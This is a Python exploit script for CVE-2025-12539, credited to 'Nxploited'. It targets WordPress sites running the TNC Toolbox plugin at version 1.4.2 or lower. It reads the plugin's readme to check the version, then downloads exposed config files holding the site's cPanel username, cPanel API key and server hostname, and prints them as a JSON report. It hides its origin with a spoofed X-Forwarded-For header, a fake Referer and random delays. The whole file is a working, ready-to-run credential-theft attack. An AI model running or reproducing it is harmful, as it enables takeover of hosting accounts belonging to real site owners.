#!/usr/bin/env python3 # By: Nxploited (Khaled Alenazi) # GitHub: https://github.com/Nxploited # Telegram: https://t.me/KNxploited import argparse import json import logging import random import re import sys import time from datetime import datetime from typing import Optional, Tuple import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry logging.basicConfig( level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S", ) logger = logging.getLogger("Nxploited") READ_ME_PATH = "/wp-content/plugins/tnc-toolbox/readme.txt" CONFIG_PATHS = { "cpanel-username": "/wp-content/tnc-toolbox-config/cpanel-username", "cpanel-api-key": "/wp-content/tnc-toolbox-config/cpanel-api-key", "server-hostname": "/wp-content/tnc-toolbox-config/server-hostname", } VERSION_THRESHOLD = "1.4.2" DEFAULT_TIMEOUT = 12 def Nxploited_build_session(insecure: bool = False, extra_headers: Optional[dict] = None) -> requests.Session: session = requests.Session() retries = Retry(total=3, backoff_factor=0.7, status_forcelist=(429, 500, 502, 503, 504)) session.mount("https://", HTTPAdapter(max_retries=retries)) session.mount("http://", HTTPAdapter(max_retries=retries)) session.verify = not insecure default_headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Nxploited/2.0", "Accept": "text/plain, */*;q=0.1", "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive", "Referer": "https://google.com", "X-Forwarded-For": f"8.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}" } if extra_headers: default_headers.update(extra_headers) session.headers.update(default_headers) return session def Nxploited_fetch_readme(session: requests.Session, base_url: str, timeout: int = DEFAULT_TIMEOUT) -> Tuple[Optional[str], Optional[str]]: url = base_url.rstrip("/") + READ_ME_PATH try: logger.debug(f"Requesting readme from {url}") resp = session.get(url, timeout=timeout) resp.raise_for_status() return resp.text, None except Exception as e: return None, f"Error fetching readme: {e}" def Nxploited_parse_version(readme_text: str) -> Optional[str]: m = re.search(r'(?im)^\s*Stable\s+tag:\s*([0-9]+(?:\.[0-9]+)*)\s*$', readme_text, re.MULTILINE) if m: return m.group(1).strip() return None def Nxploited_version_tuple(v: str) -> Tuple[int, ...]: return tuple(map(int, v.split("."))) def Nxploited_is_vulnerable(found_version: str, threshold: str = VERSION_THRESHOLD) -> bool: try: fv = Nxploited_version_tuple(found_version) tv = Nxploited_version_tuple(threshold) maxlen = max(len(fv), len(tv)) fv += (0,) * (maxlen - len(fv)) tv += (0,) * (maxlen - len(tv)) return fv <= tv except Exception: logger.exception("Version comparison failed") return False def Nxploited_natural_delay(base: float = 0.7, variance: float = 1.3): time.sleep(base + random.uniform(0, variance)) def Nxploited_print_step(msg, delay_base=0.7, delay_var=1.3, end="\n"): print(msg, flush=True, end=end) Nxploited_natural_delay(delay_base, delay_var) def Nxploited_fetch_config(session: requests.Session, base_url: str, timeout: int = DEFAULT_TIMEOUT) -> dict: results = {} for name, path in CONFIG_PATHS.items(): url = base_url.rstrip("/") + path try: resp = session.get(url, timeout=timeout) if resp.status_code == 200 and resp.text.strip(): results[name] = resp.text.strip() else: results[name] = "" except Exception as e: results[name] = f"Error fetching {name}: {e}" Nxploited_print_step(f"[+] Trying to fetch {name.replace('-', ' ')}...") return results def Nxploited_build_report(url: str, vulnerable: bool, found_version: Optional[str], configs: dict, error: Optional[str]) -> dict: return { "tool": "CVE-2025-12539-exploit", "description": "CVE-2025-12539 Exploit Script by: Khaled Alenazi", "target": url, "checked_at": datetime.utcnow().isoformat() + "Z", "vulnerable": vulnerable, "found_version": found_version or "", "threshold_version": VERSION_THRESHOLD, "configs": configs, "errors": error or "", } def Nxploited(url: str, insecure: bool = False, timeout: int = DEFAULT_TIMEOUT): logger.info(f"Starting exploit check for {url}") Nxploited_print_step(f"Target: {url}") session = Nxploited_build_session(insecure) Nxploited_print_step("Collecting file info: Trying to read wp-content/plugins/tnc-toolbox/readme.txt ...") readme, err = Nxploited_fetch_readme(session, url, timeout) if err: Nxploited_print_step("Failed to get readme.txt.\n" + err) report = Nxploited_build_report(url, False, None, {}, err) print(json.dumps(report, ensure_ascii=False, indent=2)) print("\nExploited By: Khaled Alenazi (Nxploited)") print("GitHub: https://github.com/Nxploited") print("Telegram: https://t.me/KNxploited") return Nxploited_print_step("Successfully fetched readme.txt. Analyzing version ...") version = Nxploited_parse_version(readme) if version: Nxploited_print_step(f"Detected Stable tag: {version}") else: Nxploited_print_step("Stable tag not found in readme.txt.") is_vuln = False configs = {} if version: is_vuln = Nxploited_is_vulnerable(version, VERSION_THRESHOLD) if is_vuln: Nxploited_print_step("Target is vulnerable! Exploiting ...\n", delay_base=1.2, delay_var=1.7) configs = Nxploited_fetch_config(session, url, timeout) for k, v in configs.items(): if v and not v.startswith("Error"): Nxploited_print_step(f"[!] {k}: {v}", delay_base=1.1, delay_var=1.2) else: Nxploited_print_step(f"[-] {k} not found or error", delay_base=0.7, delay_var=0.8) Nxploited_print_step("Finished fetching all data.\n") else: Nxploited_print_step("Version is newer than threshold, likely not vulnerable.") configs = {} else: Nxploited_print_step("Can't determine exposure status, no valid version number.") configs = {} Nxploited_print_step("Building organized JSON report ...") report = Nxploited_build_report(url, is_vuln, version, configs, err) print(json.dumps(report, ensure_ascii=False, indent=2)) print("\nExploited By: Khaled Alenazi (Nxploited)") print("GitHub: https://github.com/Nxploited") print("Telegram: https://t.me/KNxploited") def parse_args(): p = argparse.ArgumentParser(description="CVE-2025-12539 Exploit Script (professional edition) by Khaled Alenazi") p.add_argument("-u", "--url", required=True, help="Target base URL, e.g. https://site.com") p.add_argument("--insecure", action="store_true", help="Disable SSL verification (useful for self-signed certs).") p.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, help="Request timeout in seconds.") return p.parse_args() if __name__ == "__main__": args = parse_args() try: Nxploited(args.url, insecure=args.insecure, timeout=args.timeout) except KeyboardInterrupt: logger.info("Interrupted by user.") sys.exit(1) except Exception as e: logger.exception("Unexpected error: %s", e) sys.exit(2)